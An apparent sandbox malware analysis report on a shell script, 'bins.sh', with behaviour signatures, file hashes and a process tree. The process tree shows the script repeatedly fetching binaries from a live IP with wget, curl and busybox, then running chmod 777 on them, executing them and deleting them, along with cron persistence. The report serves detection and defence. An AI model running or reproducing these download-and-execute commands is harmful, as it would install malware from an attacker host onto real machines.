Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-11-2024 11:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fb03e426ca78a0af5cbbb68cbd6d8288

  • SHA1

    1fe0eb6730f6a592203e0b7393a8f53f3cf24fa2

  • SHA256

    ece31815664b056506b4ed6911c1b95be4cb14217e6de2ad20f21dc012614669

  • SHA512

    d85aef9889248c5bf5fd8edefa1acd43852b01a8d0e8abd6dda3b414f758634ee1a632e1fa558036193f168f305c481f5047b29a204efea878197da37298085c

  • SSDEEP

    192:8j4xKaBgsyu2y3mu06K6hVgTjX7C7S7DU7wvEpVKHHKhVgTj77C7S7DU7wQpVKH+:8j4xKaBgsI6K6hVgTjX2OUqYhVgTj72p

Malware Config

Signatures

  • Contacts a large (2037) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:646
        • /usr/bin/wget
          wget http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:649
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • Checks CPU configuration
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:667
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:674
        • /bin/chmod
          chmod 777 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          ./cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:677
        • /bin/rm
          rm cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          PID:679
        • /usr/bin/wget
          wget http://87.120.84.230/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • Writes file to tmp directory
          PID:680
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:681
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • Writes file to tmp directory
          PID:682
        • /bin/chmod
          chmod 777 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          ./46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:684
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:686
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:687
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:688
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:689
              • /bin/rm
                rm 46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
                2⤵
                  PID:695
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                  2⤵
                    PID:699
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                    2⤵
                      PID:701
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                      2⤵
                      • Writes file to tmp directory
                      PID:735
                    • /bin/chmod
                      chmod 777 ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                      2⤵
                      • File and Directory Permissions Modification
                      PID:790
                    • /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                      ./ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                      2⤵
                      • Executes dropped EXE
                      PID:792
                    • /bin/rm
                      rm ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM
                      2⤵
                        PID:795
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                        2⤵
                          PID:796
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                          2⤵
                            PID:799
                          • /bin/busybox
                            /bin/busybox wget http://87.120.84.230/bins/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                            2⤵
                            • Writes file to tmp directory
                            PID:801
                          • /bin/chmod
                            chmod 777 YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                            2⤵
                            • File and Directory Permissions Modification
                            PID:805
                          • /tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                            ./YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                            2⤵
                            • Executes dropped EXE
                            PID:807
                          • /bin/rm
                            rm YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk
                            2⤵
                              PID:810
                            • /usr/bin/wget
                              wget http://87.120.84.230/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                              2⤵
                                PID:811
                              • /usr/bin/curl
                                curl -O http://87.120.84.230/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                                2⤵
                                  PID:812
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:815
                                • /bin/chmod
                                  chmod 777 n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:822
                                • /tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                                  ./n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                                  2⤵
                                  • Executes dropped EXE
                                  PID:823
                                • /bin/rm
                                  rm n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj
                                  2⤵
                                    PID:825
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                    2⤵
                                      PID:827
                                    • /usr/bin/curl
                                      curl -O http://87.120.84.230/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                      2⤵
                                        PID:845
                                      • /bin/busybox
                                        /bin/busybox wget http://87.120.84.230/bins/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:854
                                      • /bin/chmod
                                        chmod 777 QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:863
                                      • /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                        ./QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                        2⤵
                                        • Executes dropped EXE
                                        PID:864
                                      • /bin/rm
                                        rm QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i
                                        2⤵
                                          PID:865
                                        • /usr/bin/wget
                                          wget http://87.120.84.230/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                          2⤵
                                            PID:867
                                          • /usr/bin/curl
                                            curl -O http://87.120.84.230/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                            2⤵
                                              PID:868
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.84.230/bins/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:873
                                            • /bin/chmod
                                              chmod 777 O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:878
                                            • /tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                              ./O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                              2⤵
                                              • Executes dropped EXE
                                              PID:879
                                            • /bin/rm
                                              rm O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw
                                              2⤵
                                                PID:880
                                              • /usr/bin/wget
                                                wget http://87.120.84.230/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:882
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:883
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                                2⤵
                                                • System Network Configuration Discovery
                                                • Writes file to tmp directory
                                                PID:887
                                              • /bin/chmod
                                                chmod 777 HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:894
                                              • /tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                                ./HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                                2⤵
                                                • Executes dropped EXE
                                                • System Network Configuration Discovery
                                                PID:896
                                              • /bin/rm
                                                rm HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:898
                                              • /usr/bin/wget
                                                wget http://87.120.84.230/bins/GqYNTPTdu9g6hwbRwjdIFz91lOuzdMagkh
                                                2⤵
                                                  PID:899

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d

                                                Filesize

                                                127KB

                                                MD5

                                                89077b7bd4bcafca7713be43635c4862

                                                SHA1

                                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                                SHA256

                                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                SHA512

                                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                              • /tmp/HqaGYHX4930LaoZaZeTub1LuPmNlVSIPvm

                                                Filesize

                                                122KB

                                                MD5

                                                cd3d4b9c643e5b473fb4d88ed05f0716

                                                SHA1

                                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                SHA256

                                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                SHA512

                                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                              • /tmp/O8d7QBE3pwLHKy2eRtYAIL7unAICyjpxaw

                                                Filesize

                                                141KB

                                                MD5

                                                3ca8decdb1e52c423c521bfff02ac200

                                                SHA1

                                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                SHA256

                                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                SHA512

                                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                              • /tmp/QcdrIEZDXYUM9RbUiOWvmWrbMxHb7Wcj6i

                                                Filesize

                                                177KB

                                                MD5

                                                786d75a158fe731feca3880f436082c0

                                                SHA1

                                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                SHA256

                                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                SHA512

                                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                              • /tmp/YCvnksFSH1vdIuLShhTyg2gEBF7r97p5qk

                                                Filesize

                                                111KB

                                                MD5

                                                701e7a55a4f3650f5feee92a9860e5fc

                                                SHA1

                                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                SHA256

                                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                SHA512

                                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                              • /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj

                                                Filesize

                                                98KB

                                                MD5

                                                5141342d0df8699fa32a6b066a0c592e

                                                SHA1

                                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                SHA256

                                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                SHA512

                                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                              • /tmp/ds99h0bmb4Ph1f51gHhpbvsQyXi0dZ32kM

                                                Filesize

                                                151KB

                                                MD5

                                                6c583043d91c55aa470c08c87058e917

                                                SHA1

                                                abf65a5b9bba69980278ad09356e53de8bb89439

                                                SHA256

                                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                SHA512

                                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                              • /tmp/n2hryWU1tVRQjFi33Gg0W0Eu59XnodaJyj

                                                Filesize

                                                111KB

                                                MD5

                                                ca897a38f23ec23521ce0b1b83f8422d

                                                SHA1

                                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                SHA256

                                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                SHA512

                                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                              • /var/spool/cron/crontabs/tmp.budozX

                                                Filesize

                                                210B

                                                MD5

                                                a23d427c41f42c2d2a694adc3698b257

                                                SHA1

                                                22da65575a0803e95d59014002be7bb4479b3e5d

                                                SHA256

                                                3608c9ee422b6f44db97bfff1b51a8925d0c07f74e0324b2b7a2ec44be19b0ee

                                                SHA512

                                                646f22c0868b60b53110272e342eb00b09e2784588d1f8185a74dff4a4f4d56f1002ccdacaefc699fae0438752e47ce1b5323f6cc46b35587715c671f7484683